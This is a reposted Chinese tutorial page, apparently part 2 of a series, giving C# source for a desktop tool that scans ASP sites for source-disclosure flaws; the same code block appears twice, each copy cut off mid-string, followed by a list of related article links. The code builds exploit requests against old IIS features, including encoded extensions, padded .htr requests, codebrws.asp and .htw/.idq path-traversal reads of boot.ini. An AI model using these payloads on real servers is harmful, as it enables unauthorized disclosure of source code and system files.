一个用c#写的扫描asp源码漏洞的应用程序(2)
来源:互联网 发布:天天读报软件 编辑:程序博客网 时间:2024/05/29 16:25
导读:
//主要方法
protected void btnGo_Click (object sender, System.EventArgs e)
{
//解析url
string strServer = this.txtServer.Text ;
string strUrl = this.txtFileName.Text ;
char [] point = {'.'} ;//定义分割符为"."
char[] line = {'/'} ;//定义分割符为"."
string [] arrString = strUrl.Split(line) ;
//求asp文件全名
string strFileName = arrString[arrString.Length - 1] ;
//求从根目录下的路径
string strPath = strUrl.Substring( 0 ,
strUrl.Length - strFileName.Length) ;
//解析文件全名
arrString = strFileName.Split(point) ;
//求文件扩展名
string strLast = arrString[arrString.Length - 1] ;
//求文件名
string strFirst = strFileName.Substring( 0 ,
strFileName.Length - strLast.Length - 1) ;
//使按钮、输入框等失效
this.txtServer.ReadOnly = true ;
this.txtFileName.ReadOnly = true ;
this.btnClear.Enabled = false ;
this.btnGo.Enabled = false ;
if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
|| this.txtServer.Text.Trim()== "" ||
this.txtServer.Text.Substring(0,7) != "http://")
{
MessageBox.Show("请输入正确的主机名和文件名!") ;
this.txtServer.Focus() ;
}
else
{
this.txtResult.Visible = true ;
this.txtResult.ReadOnly = true ;
this.barStatus.Text = "正在连结主机…" ;
string strRequestFile ;
switch (this.cboMethod.SelectedIndex)
{
case 0: //直接读取
strRequestFile = strServer + strUrl ;
break ;
case 5 : //%2e%41sp
strRequestFile = strServer + strPath + strFirst
+ "%2e%41sp" ;
break ;
case 8 : //longhtr
strRequestFile = strServer + strUrl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
break ;
case 10: //codebrws.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ strUrl ;
break ;
case 11: //showcode.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ "/msadc/../../../../boot.ini" ;
break;
case 12 : //null.htw
strRequestFile = strServer + "/null.htw?CiWebHitsFile="
+ strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;
break ;
case 13 : //qfullhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;
case 14 : //qsumrhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;
case 15 : //query.idq
strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%2
本文转自
http://study.qqcf.com/web/224/24048.htm
//主要方法
protected void btnGo_Click (object sender, System.EventArgs e)
{
//解析url
string strServer = this.txtServer.Text ;
string strUrl = this.txtFileName.Text ;
char [] point = {'.'} ;//定义分割符为"."
char[] line = {'/'} ;//定义分割符为"."
string [] arrString = strUrl.Split(line) ;
//求asp文件全名
string strFileName = arrString[arrString.Length - 1] ;
//求从根目录下的路径
string strPath = strUrl.Substring( 0 ,
strUrl.Length - strFileName.Length) ;
//解析文件全名
arrString = strFileName.Split(point) ;
//求文件扩展名
string strLast = arrString[arrString.Length - 1] ;
//求文件名
string strFirst = strFileName.Substring( 0 ,
strFileName.Length - strLast.Length - 1) ;
//使按钮、输入框等失效
this.txtServer.ReadOnly = true ;
this.txtFileName.ReadOnly = true ;
this.btnClear.Enabled = false ;
this.btnGo.Enabled = false ;
if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
|| this.txtServer.Text.Trim()== "" ||
this.txtServer.Text.Substring(0,7) != "http://")
{
MessageBox.Show("请输入正确的主机名和文件名!") ;
this.txtServer.Focus() ;
}
else
{
this.txtResult.Visible = true ;
this.txtResult.ReadOnly = true ;
this.barStatus.Text = "正在连结主机…" ;
string strRequestFile ;
switch (this.cboMethod.SelectedIndex)
{
case 0: //直接读取
strRequestFile = strServer + strUrl ;
break ;
case 5 : //%2e%41sp
strRequestFile = strServer + strPath + strFirst
+ "%2e%41sp" ;
break ;
case 8 : //longhtr
strRequestFile = strServer + strUrl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
break ;
case 10: //codebrws.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ strUrl ;
break ;
case 11: //showcode.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ "/msadc/../../../../boot.ini" ;
break;
case 12 : //null.htw
strRequestFile = strServer + "/null.htw?CiWebHitsFile="
+ strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;
break ;
case 13 : //qfullhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;
case 14 : //qsumrhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;
case 15 : //query.idq
strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%2
本文转自
http://study.qqcf.com/web/224/24048.htm
- 一个用c#写的扫描asp源码漏洞的应用程序(2)
- 一个用c#写的扫描asp源码漏洞的应用程序(续)
- 一个用c#写的扫描asp源码漏洞的应用程序(续)
- 一个用c#写的扫描asp源码漏洞的应用程序
- 一个用c#写的扫描asp源码漏洞的应用程序(续)_C#教程
- 一个用c#写的扫描asp源码漏洞的应用程序(续)_C#教程
- 一个用c#写的扫描asp源码漏洞的应用程序(1)
- C# 写一个简单的应用程序
- 用python写的一个漏洞库自动…
- 一个简单的用ASP.NET/C#开发的组件化Web应用程序(附源代码)
- 业余写的一个小工具_XPathTool(C#源码)
- 用c#写的QQ,有源码
- kali nikto的漏洞扫描
- 源码漏洞扫描工具
- 用ASP写的一个转换程序
- 用C写的一个扫描器源码
- 用C写的一个扫描器源码
- 用C写的一个扫描器源码
- 如何用C#语言构造蜘蛛程序
- 多线程在Visual C#网络编程中的应用
- ubuntu中如何访问局域网中的网络邻居
- 使用Visual C#实现断点续传
- 全面掌握VisualC#实现UDP协议(一)
- 一个用c#写的扫描asp源码漏洞的应用程序(2)
- js获得控件位置
- 用C#电子邮件验证的类
- C#验证邮件的正则表达式的代码
- 地磅称量系统之(13)让所有继承BaseForm的窗体都拥有用户信息
- 用C#把文件转换为XML
- C#网络编程初探
- 开张记
- Ajax取得XML响应的中文乱码问题(持续整理中...)